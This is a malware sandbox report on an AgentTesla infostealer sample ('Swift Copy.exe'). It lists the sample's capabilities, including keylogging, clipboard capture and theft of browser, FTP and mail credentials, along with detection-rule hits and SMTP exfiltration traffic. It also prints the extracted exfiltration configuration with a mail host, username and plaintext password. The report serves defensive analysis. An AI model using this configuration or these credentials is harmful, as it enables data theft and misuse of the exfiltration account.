Edit tour

Windows Analysis Report
Swift Copy.exe

Overview

General Information

Sample name:	Swift Copy.exe
Analysis ID:	1483051
MD5:	2ad0a14a883597c8707276c3002d85da
SHA1:	5840f94ca6dc35f3e48f7e0586e3a9724fb566d0
SHA256:	c7dc84187ebfc4521a3fe173e5b59850c753251a1a935b294c0a6fb63d6c9315
Tags:	exe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Contains functionality to log keystrokes (.Net Source)

Found API chain indicative of sandbox detection

Installs a global keyboard hook

Machine Learning detection for sample

Maps a DLL or memory area into another process

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Abnormal high CPU Usage

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Swift Copy.exe (PID: 1060 cmdline: "C:\Users\user\Desktop\Swift Copy.exe" MD5: 2AD0A14A883597C8707276C3002D85DA)

RegSvcs.exe (PID: 2840 cmdline: "C:\Users\user\Desktop\Swift Copy.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.mahesh-ent.com", "Username": "info@mahesh-ent.com", "Password": "M@hesh3981"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1678514155.0000000000EE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1678514155.0000000000EE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1678514155.0000000000EE0000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33e6d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33edf:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33f69:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33ffb:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34065:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x340d7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3416d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x341fd:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
00000001.00000002.4137346233.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.4137346233.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.4142550881.00000000032E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.4142550881.00000000032E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Swift Copy.exe PID: 1060	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Swift Copy.exe PID: 1060	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 2840	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 2840	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Swift Copy.exe.ee0000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Swift Copy.exe.ee0000.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Swift Copy.exe.ee0000.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3206d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x320df:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x32169:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x321fb:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32265:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x322d7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3236d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x323fd:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33e6d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33edf:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33f69:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33ffb:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34065:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x340d7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3416d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x341fd:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Swift Copy.exe.ee0000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Swift Copy.exe.ee0000.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Swift Copy.exe.ee0000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33e6d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33edf:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33f69:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33ffb:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34065:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x340d7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3416d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x341fd:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 148.66.136.151, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, Initiated: true, ProcessId: 2840, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ETPRO MALWARE Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.4 - Destination IP: 148.66.136.151

Timestamp:	2024-07-26T15:12:33.296540+0200
SID:	2855542
Source Port:	49739
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.4 - Destination IP: 148.66.136.151

Timestamp:	2024-07-26T15:14:13.755916+0200
SID:	2840032
Source Port:	49748
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.68.123.157 - Destination IP: 192.168.2.4

Timestamp:	2024-07-26T15:11:56.171178+0200
SID:	2022930
Source Port:	443
Destination Port:	49738
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.68.123.157 - Destination IP: 192.168.2.4

Timestamp:	2024-07-26T15:11:17.788023+0200
SID:	2022930
Source Port:	443
Destination Port:	49732
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.4 - Destination IP: 148.66.136.151

Timestamp:	2024-07-26T15:12:30.761942+0200
SID:	2840032
Source Port:	49731
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.4 - Destination IP: 148.66.136.151

Timestamp:	2024-07-26T15:11:04.562261+0200
SID:	2855542
Source Port:	49731
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.4 - Destination IP: 148.66.136.151

Timestamp:	2024-07-26T15:13:30.681219+0200
SID:	2840032
Source Port:	49744
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.4 - Destination IP: 148.66.136.151

Timestamp:	2024-07-26T15:13:01.501242+0200
SID:	2840032
Source Port:	49742
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.4 - Destination IP: 148.66.136.151

Timestamp:	2024-07-26T15:14:51.697303+0200
SID:	2840032
Source Port:	49757
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.4 - Destination IP: 148.66.136.151

Timestamp:	2024-07-26T15:13:30.674764+0200
SID:	2855542
Source Port:	49744
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.4 - Destination IP: 148.66.136.151

Timestamp:	2024-07-26T15:14:33.795058+0200
SID:	2840032
Source Port:	49751
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.4 - Destination IP: 148.66.136.151

Timestamp:	2024-07-26T15:14:51.690852+0200
SID:	2855542
Source Port:	49757
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.4 - Destination IP: 148.66.136.151

Timestamp:	2024-07-26T15:14:33.786282+0200
SID:	2855542
Source Port:	49751
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.4 - Destination IP: 148.66.136.151

Timestamp:	2024-07-26T15:14:13.749702+0200
SID:	2855542
Source Port:	49748
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.4 - Destination IP: 148.66.136.151

Timestamp:	2024-07-26T15:12:33.303757+0200
SID:	2840032
Source Port:	49739
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.4 - Destination IP: 148.66.136.151

Timestamp:	2024-07-26T15:13:47.556689+0200
SID:	2840032
Source Port:	49746
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.4 - Destination IP: 148.66.136.151

Timestamp:	2024-07-26T15:13:47.550653+0200
SID:	2855542
Source Port:	49746
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.4 - Destination IP: 148.66.136.151

Timestamp:	2024-07-26T15:13:01.495219+0200
SID:	2855542
Source Port:	49742
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.Swift Copy.exe.ee0000.1.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.mahesh-ent.com", "Username": "info@mahesh-ent.com", "Password": "M@hesh3981"}

Multi AV Scanner detection for submitted file

Source: Swift Copy.exe

ReversingLabs: Detection: 64%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Swift Copy.exe

Joe Sandbox ML: detected

Source: Swift Copy.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:49730 version: TLS 1.2

Source:	Binary string: wntdll.pdbUGP source: Swift Copy.exe, 00000000.00000003.1671012395.0000000003A60000.00000004.00001000.00020000.00000000.sdmp, Swift Copy.exe, 00000000.00000003.1670003411.0000000003C00000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Swift Copy.exe, 00000000.00000003.1671012395.0000000003A60000.00000004.00001000.00020000.00000000.sdmp, Swift Copy.exe, 00000000.00000003.1670003411.0000000003C00000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DDDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00DDDBBE
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DE68EE FindFirstFileW,FindClose,	0_2_00DE68EE
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DE698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_00DE698F
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DDD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00DDD076
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DDD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00DDD3A9
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DE9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00DE9642
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DE979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00DE979D
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DE9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00DE9B2B
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DE5C97 FindFirstFileW,FindNextFileW,FindClose,	0_2_00DE5C97

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 148.66.136.151:587

Source: Joe Sandbox View	IP Address: 148.66.136.151 148.66.136.151
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152

Source: Joe Sandbox View

ASN Name: AS-26496-GO-DADDY-COM-LLCUS AS-26496-GO-DADDY-COM-LLCUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 148.66.136.151:587

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DECE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

0_2_00DECE44

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: mail.mahesh-ent.com

Source: RegSvcs.exe, 00000001.00000002.4142550881.0000000003626000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4142550881.0000000003757000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4142550881.0000000003583000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4142550881.000000000335A000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4142550881.00000000034AB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4142550881.0000000003710000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4142550881.0000000003394000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4142550881.00000000035BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.mahesh-ent.com
Source: RegSvcs.exe, 00000001.00000002.4142550881.0000000003291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Swift Copy.exe, 00000000.00000002.1678514155.0000000000EE0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4137346233.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: Swift Copy.exe, 00000000.00000002.1678514155.0000000000EE0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4142550881.0000000003291000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4137346233.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: RegSvcs.exe, 00000001.00000002.4142550881.0000000003291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: RegSvcs.exe, 00000001.00000002.4142550881.0000000003291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown

HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:49730 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.Swift Copy.exe.ee0000.1.raw.unpack, 3DlgK9re6m.cs

.Net Code: S8rY0

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DEEAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00DEEAFF

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DEED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00DEED6A

Source: C:\Users\user\Desktop\Swift Copy.exe

0_2_00DEEAFF

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DDAA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

0_2_00DDAA57

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00E09576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00E09576

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.Swift Copy.exe.ee0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Swift Copy.exe.ee0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 00000000.00000002.1678514155.0000000000EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Binary is likely a compiled AutoIt script file

Source: Swift Copy.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: Swift Copy.exe, 00000000.00000000.1660132964.0000000000E32000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_3e411b6e-7
Source: Swift Copy.exe, 00000000.00000000.1660132964.0000000000E32000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_447c8b08-e
Source: Swift Copy.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_2a6f1bf7-0
Source: Swift Copy.exe	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating 